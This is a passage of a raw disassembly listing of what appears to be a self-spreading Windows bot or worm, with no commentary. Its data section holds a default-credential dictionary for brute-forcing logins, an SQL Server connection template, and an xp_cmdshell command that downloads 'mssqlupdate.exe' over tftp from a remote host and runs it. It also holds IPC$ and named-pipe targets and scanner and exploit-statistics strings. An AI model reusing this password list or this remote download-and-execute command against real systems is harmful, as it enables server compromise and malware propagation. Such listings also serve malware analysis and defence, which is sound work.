DATA XREF: .data:0042465Co unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: .data:0042465Co aPwd db 'pwd',0 ; DATA XREF: .data:0042465Co aPass db 'pass',0 ; DATA XREF: .data:0042465Co align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .data:0042465Co align 10h aPasswd db 'passwd',0 ; DATA XREF: .data:0042465Co align 4 aPassword db 'password',0 ; DATA XREF: .data:0042465Co align 4 aPassword1 db 'password1',0 ; DATA XREF: .data:0042465Co align 10h aAdm db 'adm',0 ; DATA XREF: .data:0042465Co aAdmins db 'admins',0 ; DATA XREF: .data:0042465Co align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:0042465Co aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0042465Co align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:0042465Co align 4 aAdministrator db 'administrator',0 ; DATA XREF: .data:0042465Co align 4 aSa db 'sa',0 ; DATA XREF: .text:004090E8o ; .data:0042465Co align 4 aRoot db 'root',0 ; DATA XREF: .text:004090EFo ; .data:0042465Co align 4 aAdmin db 'admin',0 ; DATA XREF: .text:004090F6o ; .data:0042465Co align 4 aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0 ; DATA XREF: .text:0040919Fo align 10h ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'tftp -i %s GET mssqlupdate.exe&start' ; DATA XREF: .text:00409220o db ' mssqlupdate.exe&exit',0Dh,0Ah db 27h,0 align 4 aWxp db 'WXP',0 aNt42000 db 'NT42000',0 a_: ; DATA XREF: .text:004092DAo unicode 0, <.>,0 aSIpc db '\\%s\ipc$',0 ; DATA XREF: .text:004092FEo align 4 aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: .text:0040934Ao align 4 dword_421428 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: .text:004093ABo dword_42143C dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: .text:0040942Do dword_421450 dd 2 dup(0) ; DATA XREF: .text:00409500o ; --------------------------------------------------------------------------- loc_421458: ; DATA XREF: .text:00409520o jmp short near ptr dword_42145C ; --------------------------------------------------------------------------- align 4 dword_42145C dd 0 ; CODE XREF: r69pu5ti:loc_421458j dword_421460 dd 2E6E6373h, 6E6762h ; DATA XREF: .text:0041D7ADo aScanUnknownExp db 'Scan: Unknown Exploit.',0 ; DATA XREF: .text:loc_409E85o align 10h a____0 db '*.*.*.*',0 ; DATA XREF: .text:00409EA7o aA db '-a',0 ; DATA XREF: .text:00409EE0o align 4 aB db '-b',0 ; DATA XREF: .text:00409EF2o align 10h aC db '-c',0 ; DATA XREF: .text:00409F04o align 4 aScanNotEnoughT db 'Scan: Not Enough Threads. %d Available.',0 ; DATA XREF: .text:00409F4Eo aX_ db 'x.',0 ; DATA XREF: .text:00409FD4o align 10h aD_ db '%d.',0 ; DATA XREF: .text:00409FE8o aSx_ db '%sx.',0 ; DATA XREF: .text:0040A006o ; .text:0040A033o align 4 aSD_ db '%s%d.',0 ; DATA XREF: .text:00409FFBo align 4 aSx db '%sx',0 ; DATA XREF: .text:0040A060o aSD db '%s%d',0 ; DATA XREF: .text:0040A06Fo align 10h aD_x_x_x db '%d.x.x.x',0 ; DATA XREF: .text:0040A130o align 4 aD_D_x_x db '%d.%d.x.x',0 ; DATA XREF: .text:0040A119o align 4 aD_D_D_x db '%d.%d.%d.x',0 ; DATA XREF: .text:0040A102o align 4 aScanSDUsingDTh db 'Scan: %s:%d Using %d Threads.',0 ; DATA XREF: .text:0040A175o align 4 aScn db 'SCN',0 ; DATA XREF: .text:0040A241o ; .text:0040A2B9o aScn_end db 'scn.end',0 ; DATA XREF: .text:0041D7C9o aScanAllScanThr db 'Scan: All Scan Threads Stopped. %d killed.',0 ; DATA XREF: .text:0040A333o align 4 aScan_stats db 'scan.stats',0 ; DATA XREF: .text:0041D7E5o align 4 aStatisticsExpl db 'Statistics: Exploits:',0 ; DATA XREF: .text:0040A38Do align 10h aSSD db '%s %s: %d',0 ; DATA XREF: .text:0040A3B5o align 4 aSDaemons db '%s; Daemons:',0 ; DATA XREF: .text:0040A3D9o align 4 aSTftpD db '%s TFTP: %d',0 ; DATA XREF: .text:0040A3EFo aSHttpD db '%s HTTP: %d',0 ; DATA XREF: .text:0040A405o aA@ db 'Ñ@',0 ; DATA XREF: .text:0041D7BCo ; .data:off_433BDCo aWv@ db 'w¢@',0 ; DATA XREF: .text:0041D7D8o ; .data:off_433BD4o aTg@ db 'T£@',0 ; DATA XREF: .text:0041D7F4o ; .data:off_433BD8o dbl_4215C0 dq 5.0e-1 ; DATA XREF: .text:loc_4097ECr flt_4215C8 dd 4.2949673e9 ; DATA XREF: .text:004097E6r align 10h dd 48h, 0Eh dup(0) dd 423068h, 421830h, 0Eh dword_421618 dd 3 dup(0) ; DATA XREF: r69pu5ti:0041E300o dd 425AD4h, 42162Ch, 2 dup(0) dd 2, 42163Ch, 421648h, 421664h, 0 dd 425AD4h, 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 42162Ch, 425AB8h, 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 421680h, 2 dup(0) dd 1, 421690h, 421664h, 0 dword_421698 dd 3 dup(0) ; DATA XREF: r69pu5ti:off_41E304o dd 425A98h, 4216ACh, 2 dup(0) dd 2, 4216BCh, 4216C8h, 421664h, 0 dd 425A98h, 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 4216ACh dword_4216E4 dd 3 dup(0) ; DATA XREF: r69pu5ti:off_41E310o dd 425A78h, 4216F8h, 2 dup(0) dd 3, 421708h, 421718h, 4216C8h, 421664h, 0 dd 425A78h, 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 4216F8h dword_421734 dd 3 dup(0) ; DATA XREF: r69pu5ti:off_41E31Co dd 423008h, 421748h, 2 dup(0) dd 3, 421758h, 421768h, 4216C8h, 421664h, 0 dd 423008h, 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 421748h dword_421784 dd 3 dup(0) ; DATA XREF: r69pu5ti:0041E358o dd 425AB8h, 421680h dword_421798 dd 3 dup(0) ; DATA XREF: r69pu5ti:0041E378o dd 423038h, 4217ACh, 2 dup(0) dd 1, 4217BCh, 4217C4h, 0 dd offset off_423038, 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 4217ACh dword_4217E0 dd 3 dup(0) ; DATA XREF: r69pu5ti:0041EC10o dd 423E30h, 4217F4h, 2 dup(0) dd 2, 421804h, 421810h, 421664h, 0 dd 423E30h, 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 4217F4h, 0 dd 0E2C5h, 0E3CAh, 10640h, 122DCh, 18734h, 1D5F3h, 1D60Eh dd 1D629h, 1D64Ch, 1D66Fh, 1D694h, 1D6B9h, 1D6EBh, 1D720h dd 0 dword_42186C dd 2 dup(0) ; DATA XREF: sub_414DA4+2o ; sub_414DA4+7o dword_421874 dd 0 ; DATA XREF: sub_414DC8+2o ; sub_414DC8+7o dd 0FFFFFFFFh, 41D5EBh dword_421880 dd 19930522h, 1, 421878h, 5 dup(0) ; DATA XREF: sub_41D5F3+11o dd 1 dword_4218A4 dd 0 ; DATA XREF: sub_40AAF3+29o dd offset sub_40AA87, 0 dd offset dword_4218B4 dword_4218B4 dd 3, 4218C4h, 421F18h, 421F34h, 0 ; DATA XREF: r69pu5ti:004218B0o dd offset off_423008, 0 dd 0FFFFFFFFh, 0 dd 28h, 40AB32h dword_4218E0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40C58B+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40C61D, 0 dword_421900 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40C9B4+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40C9EA, 0 dword_421920 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40CEC3+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40CF7D, 0 dword_421940 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40CF9A+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40D0DF, 0 dword_421960 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40D257+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40D2C8, 0 dword_421980 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40D35A+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40D3B0, 0 dword_4219A0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40D3E8+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40D42E, 0 dword_4219C0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40DD4A+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40DE07, 0 dword_4219E0 dd 0FFFFFFFEh, 0 ; DATA XREF: .text:0040DFD4o dd 0FFFFFF80h, 0 dd 0FFFFFFFEh, 40E199h, 40E19Dh, 0FFFFFFFEh, 40E15Fh, 40E173h dword_421A08 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40E9A1+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40EA39, 0 dword_421A28 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40EC6A+2o db 0CCh db 3 dup(0FFh) align 8 dd 0FFFFFFFEh, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0EDh, 40h, 0 align 8 dword_421A48 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40F0B2+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40F11C, 0 dword_421A68 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40F267+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40F312, 0 dword_421A88 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40F3B6+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 0 dd 40F4BFh, 0FFFFFFFEh, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0F4h, 40h, 0 dword_421AB0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40F934+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40F9EE, 0 dword_421AD0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_411B0B+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd 411BC1h, 0 dword_421AF0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_411C6D+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_411CD4, 0 dword_421B10 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_412126+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_412240, 0 dword_421B30 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_412464+2o dd 0FFFFFF8Ch, 0 dd 0FFFFFFFEh, 41268Dh, 412691h, 0 dword_421B50 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_412765+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_412828, 0 dword_421B70 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_412902+2o db 0CCh db 3 dup(0FFh) align 10h dd 0FFFFFFFEh, 0 dd offset sub_4129D3, 2 dup(0) dd offset sub_41299F dword_421B98 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_4140C6+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_414198, 0 dword_421BB8 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_414FFE+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_4150BE, 0 dd offset loc_415080, offset loc_41508A dword_421BE0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_415124+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 415167h, 415170h, 40h, 2 dup(0) dd 415247h, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 421BFCh dword_421C30 dd 19930522h, 2, 421C0Ch, 1, 421C1Ch, 3 dup(0) ; DATA XREF: sub_41D60E+11o dd 1, 0 dword_421C58 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_41525F+2o dd 0FFFFFFB4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_41537F, 0 dd offset loc_4152EF, offset loc_4152F8 dword_421C80 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_4153FB+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 415566h, 41556Ah, 0 dword_421CA0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_41557A+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 4155FFh, 415603h dword_421CBC dd 0 ; DATA XREF: sub_415769+162o dd offset sub_414F31, 0 dd offset dword_421CCC dword_421CCC dd 2, 421CD8h, 421F34h, 0 ; DATA XREF: r69pu5ti:00421CC8o dd offset off_423E30, 0 dd 0FFFFFFFFh, 0 dd 0Ch, 415ABFh, 0 dword_421CF8 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_415BBB+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 415BDBh, 415BDFh, 0 dword_421D18 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_415C07+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 415C2Bh, 415C2Fh, 0 dword_421D38 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_416874+2o db 0CCh db 3 dup(0FFh) align 8 dd 0FFFFFFFEh, 4168FAh, 416911h, 0 dword_421D58 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_4169B2+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 4169F8h, 416A0Ch, 0 dword_421D78 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_416AA1+2o db 0CCh db 3 dup(0FFh) align 8 dd 0FFFFFFFEh, 0 dd offset sub_416BB0, 0 dword_421D98 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_417180+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_417252, 0 dword_421DB8 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_417545+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 417562h, 41757Eh, 0 dword_421DD8 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_417602+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_4176F9, 0 dword_421DF8 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_417720+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_41785E, 0 dword_421E18 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_4179DC+2o dd 0FFFFFFC0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_417B4A, 0 dword_421E38 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_417BA0+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_417C36, 0 dword_421E58 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_41827D+2o db 0CCh db 3 dup(0FFh) align 8 dd 0FFFFFFFEh, 0 dd offset sub_418316, 0 dword_421E78 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_4189BA+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_418A4C, 0 dword_421E98 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_418A7C+2o dd 0FFFFFFC8h, 0 dd 0FFFFFFFEh, 0 dd offset sub_418C12, 2 dup(0) dd offset sub_418B49 dword_421EC0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_418C1B+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_418CF2, 0 dword_421EE0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_419BEE+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 419C1Bh, 419C37h, 0 dd offset off_425A78, 0 dd 0FFFFFFFFh, 0 dd 28h, 402170h, 0 dd offset aUa, 0 ; "|ãA" dd 0FFFFFFFFh, 0 dd 28h, 402188h, 0 dd offset aUa_0, 0 ; "|ãA" dd 0FFFFFFFFh, 0 dword_421F48 dd 0Ch, 40C841h, 3, 421EFCh, 421F18h, 421F34h ; DATA XREF: r69pu5ti:00421F6Co dword_421F60 dd 0 ; DATA XREF: sub_401FC0+48o ; sub_408525+48o ... dd offset loc_401E24, 0 dd offset dword_421F48+8 dd 0 dd offset aUa_1, 0 ; "|ãA" dd 0FFFFFFFFh, 0 dword_421F84 dd 0Ch, 4023D3h, 2, 421F70h, 421F34h ; DATA XREF: r69pu5ti:00421FA4o dword_421F98 dd 0 ; DATA XREF: sub_402389+34o ; .text:0040CC6Eo dd offset sub_401D7B, 0 dd offset dword_421F84+8 dword_421FA8 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_4019F9+2o dd 0FFFFFFB4h, 0 dd 0FFFFFFFEh, 5 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 1, 0 dd 1, 0 dd 40h, 2 dup(0) dd 4022B1h, 40h, 2 dup(0) dd 40223Fh, 2 dup(2), 3, 1, 421FF0h, 2 dup(0) dd 3, 1, 422000h dword_422038 dd 19930522h, 4, 421FD0h, 2, 422010h, 3 dup(0) ; DATA XREF: .text:0041D63Ao dd 1, 0FFFFFFFFh, 41D644h dword_422064 dd 19930522h, 1, 42205Ch, 5 dup(0) ; DATA XREF: .text:0041D65Do dd 1, 0FFFFFFFFh, 41D667h dword_422090 dd 19930522h, 1, 422088h, 5 dup(0) ; DATA XREF: .text:0041D680o dd 1, 0FFFFFFFFh, 41D68Ah dword_4220BC dd 19930522h, 1, 4220B4h, 5 dup(0) ; DATA XREF: .text:0041D6A5o dd 1, 0FFFFFFFFh, 41D6AFh dword_4220E8 dd 19930522h, 1, 4220E0h, 5 dup(0) ; DATA XREF: .text:0041D6D4o dd 1, 0FFFFFFFFh, 41D6DEh dword_422114 dd 19930522h, 1, 42210Ch, 5 dup(0) ; DATA XREF: .text:0041D709o dd 1, 0FFFFFFFFh, 41D713h dword_422140 dd 19930522h, 1, 422138h, 5 dup(0) ; DATA XREF: .text:0041D73Eo dd 1, 3A7h dup(0) r69pu5ti ends ; Section 3. (virtual address 00023000) ; Virtual size : 00012000 ( 73728.) ; Section size in file : 00012000 ( 73728.) ; Offset to raw data for section: 00023000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 423000h off_423000 dd 2 dup(offset aBadAllocation) ; DATA XREF: isk1wxzg:00460900o ; "bad allocation" off_423008 dd offset nullsub_292, 0 ; DATA XREF: r69pu5ti:004218C8o a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h dd 2 dup(offset aBadAllocation) ; "bad allocation" off_423038 dd offset nullsub_292, 0 ; DATA XREF: r69pu5ti:004217C4o a_?avtype_info@ db '.?AVtype_info@@',0 off_423050 dd offset aBadAllocation, 3 dup(0) ; DATA XREF: sub_40CC01+3o ; "bad allocation" dword_423060 dd 2 ; DATA XREF: sub_4136C1+42r ; sub_413861+19r ... dd offset sub_414E80 dword_423068 dd 0B99ED75Ah ; DATA XREF: sub_401000+Cr ; sub_40140A+Er ... dword_42306C dd 466128A5h ; DATA XREF: sub_40E68F+AEr ; sub_414DEC+29w ... dword_423070 dd 0FFFFFFFFh, 16h dup(0) ; DATA XREF: sub_40E7C2+29o ; sub_40E9A1+63o ... dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 31h dup(0) dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh dd 76757473h, 7A797877h, 0 db 0 align 2 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 align 4 dd 21h dup(0) byte_423290 db 0 ; DATA XREF: sub_40EC6A+102w align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h, 0 byte_423398 db 0 ; DATA XREF: sub_40EC6A+11Ew align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh dword_423498 dd 9F2980h ; DATA XREF: sub_40AB59+41r ; sub_40E9A1+4Cr ... byte_42349C db 1 ; DATA XREF: sub_40EABF+E3r db 2, 4, 8 dword_4234A0 dd 3A4h ; DATA XREF: sub_40EABF:loc_40EAFBr dword_4234A4 dd 82798260h ; DATA XREF: sub_40EABF+12Br dd 21h, 0 dword_4234B0 dd 0DFA6h ; DATA XREF: sub_40EABF+C6r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dd 41EF34h dword_423594 dd 0FFFFFFFEh ; DATA XREF: sub_40AB59+2Cr ; sub_40AB59+4Cr ... dword_423598 dd 43h, 0 ; DATA XREF: sub_40EE22:loc_40EF1Fo ; sub_40EF62:loc_40EFADo ... dword_4235A0 dd 2, 15h dup(0) ; DATA XREF: sub_40F074+28o ; sub_40F3B6+DAo ... dd offset dword_423598 dd 3 dup(0) dd offset dword_423598 dd 3 dup(0) dd offset dword_423598 dd 3 dup(0) dd offset dword_423598 dd 3 dup(0) dd offset dword_423598 dd 3 dup(0) dd 2 dup(1), 3 dup(0) dd offset off_423F18 dd 2 dup(0) off_423668 dd offset asc_41ED30 ; DATA XREF: sub_418D4B+Dr ; sub_418DC8+Dr ... ; " ((((( H" dd 41F1B8h, 41F338h, 423E58h off_423678 dd offset dword_4235A0 ; DATA XREF: sub_40AB59+24r ; sub_40F0B2+4Er ... dd 1 off_423680 dd offset dword_4235A0 ; DATA XREF: sub_4143CD+17o dd offset dword_423070 dword_423688 dd 0Eh ; DATA XREF: sub_40F128+13r ; sub_40F194+13r ... dword_42368C dd 0Dh ; DATA XREF: sub_40F128+1r ; sub_40F128+1Er ... dword_423690 dd 1 ; DATA XREF: sub_40F799:loc_40F79Fr dword_423694 dd 16h ; DATA XREF: sub_40F799:loc_40F7BAr dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_4237F8 dd 0Ch ; DATA XREF: sub_40F7D4+9o dword_4237FC dd 8 ; DATA XREF: sub_40F7E7+9o off_423800 dd offset dword_425E98 ; DATA XREF: sub_40F881:loc_40F8BEw ; sub_40F8CA+8o ... dword_423804 dd 1 ; DATA XREF: sub_40F881:loc_40F88Ar dd offset dword_425EB0 dd 1, 2 dup(0) dd offset dword_425EC8 dd 1, 425EE0h, 1, 2 dup(0) dd offset dword_425EF8 dd 1, 425F10h, 1, 425F28h, 1, 2 dup(0) dd offset dword_425F40 dd 1, 2 dup(0) dd offset dword_425F58 dd 1, 425F70h, 1, 425F88h, 1, 2 dup(0) dd offset dword_425FA0 dd 1, 425FB8h, 1, 425FD0h, 1, 22h dup(0) dword_423920 dd 10h ; DATA XREF: sub_40F8CA+2Ao ; sub_40F8CA+4Ao off_423924 dd offset aNull_0 ; DATA XREF: sub_4109D7:loc_410EC5r ; sub_4109D7+7E7r ; "(null)" off_423928 dd offset aNull ; DATA XREF: sub_4109D7+433r ; "(null)" align 10h off_423930 dd offset sub_411BEA ; DATA XREF: sub_41195D+Er ; sub_411C19+45w dd offset aBadAllocation ; "bad allocation" off_423938 dd offset dword_433D20 ; DATA XREF: sub_411D09o ; sub_411D0F+52o ... align 10h dd offset dword_433D20 dd 101h dword_423948 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_411D0F+74o dd 1000h, 4 dup(0) dd 2, 0FFFFFFFEh, 6 dup(0) dd 2, 0FFFFFFFEh, 7 dup(0) dword_4239A8 dd 7Ch dup(0) ; DATA XREF: sub_411D0F+A4o dword_423B98 dd 8 dup(0) ; DATA XREF: sub_411DE0+Do ; sub_411E32+Do dword_423BB8 dd 0FFFFFFFFh, 0A80h, 8 dup(0) ; DATA XREF: sub_40CF9A:loc_40D036o ; sub_40CF9A:loc_40D07Bo ... dword_423BE0 dd 2 ; DATA XREF: sub_4136C1:loc_4136CDr off_423BE4 dd offset aR6002FloatingP ; DATA XREF: sub_4136C1:loc_4137F1r ; "R6002\r\n- floating point not loaded\r\n" dd 8, 41EA84h, 9, 41EA58h, 0Ah, 41E9C0h, 10h, 41E994h dd 11h, 41E964h, 12h, 41E940h, 13h, 41E914h, 18h, 41E8DCh dd 19h, 41E8B4h, 1Ah, 41E87Ch, 1Bh, 41E844h, 1Ch, 41E81Ch dd 1Eh, 41E7FCh, 1Fh, 41E798h, 20h, 41E760h, 21h, 41E668h dd 22h, 41E5C8h, 78h, 41E5B4h, 79h, 41E5A4h, 7Ah, 41E594h dd 0FCh, 4203BCh, 0FFh, 41E584h byte_423C98 db 0 ; DATA XREF: sub_413B24:loc_413E85r ; sub_413B24+36Fr align 4 dd 2Fh dup(0) dd 8 dup(1010101h), 4 dup(2020202h), 2 dup(3030303h), 2 dup(0) dword_423D98 dd 1B3Fh ; DATA XREF: sub_4146A6+Dr align 10h dword_423DA0 dd 0C0000005h, 0Bh, 0 ; DATA XREF: sub_40F267+1Do ; sub_40F3B6+6Eo dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_423E18 dd 3 ; DATA XREF: sub_414777+A1r ; sub_414777+C0r ... dword_423E1C dd 7 ; DATA XREF: sub_414777+A7r ; sub_414777+C6r ... dd 78h dword_423E24 dd 0Ah ; DATA XREF: sub_414777+22r ; sub_41799B+4r dd offset aBadAllocation, offset sub_414E80 ; "bad allocation" off_423E30 dd offset nullsub_292, 0 ; DATA XREF: sub_415769+128o ; r69pu5ti:00421CDCo a_?avbad_except db '.?AVbad_exception@std@@',0 a0aa db '0íA',0 a2qa db '2ïA',0 dword_423E58 dd 41F560h, 41F55Ch, 41F558h, 41F554h, 41F550h, 41F54Ch ; DATA XREF: sub_40EE22+D9o dd 41F548h, 41F540h, 41F538h, 41F530h, 41F524h, 41F518h dd 41F510h, 41F504h, 41F500h, 41F4FCh, 41F4F8h, 41F4F4h dd 41F4F0h, 41F4ECh, 41F4E8h, 41F4E4h, 41F4E0h, 41F4DCh dd 41F4D8h, 41F4D4h, 41F4CCh, 41F4C0h, 41F4B8h, 41F4B0h dd 41F4F0h, 41F4A8h, 41F4A0h, 41F498h, 41F48Ch, 41F484h dd 41F478h, 41F46Ch, 41F468h, 41F464h, 41F458h, 41F444h dd 41F438h, 409h, 2 dup(1), 423E58h dword_423F14 dd 2Eh ; DATA XREF: .data:off_423F18o off_423F18 dd offset dword_423F14 ; DATA XREF: sub_40EE22+14o ; sub_416424+Br ... off_423F1C dd offset dword_426498 ; DATA XREF: sub_416424+1Dr off_423F20 dd offset dword_426498 ; DATA XREF: sub_416424+2Fr off_423F24 dd offset dword_426498 ; DATA XREF: sub_416464+Cr off_423F28 dd offset 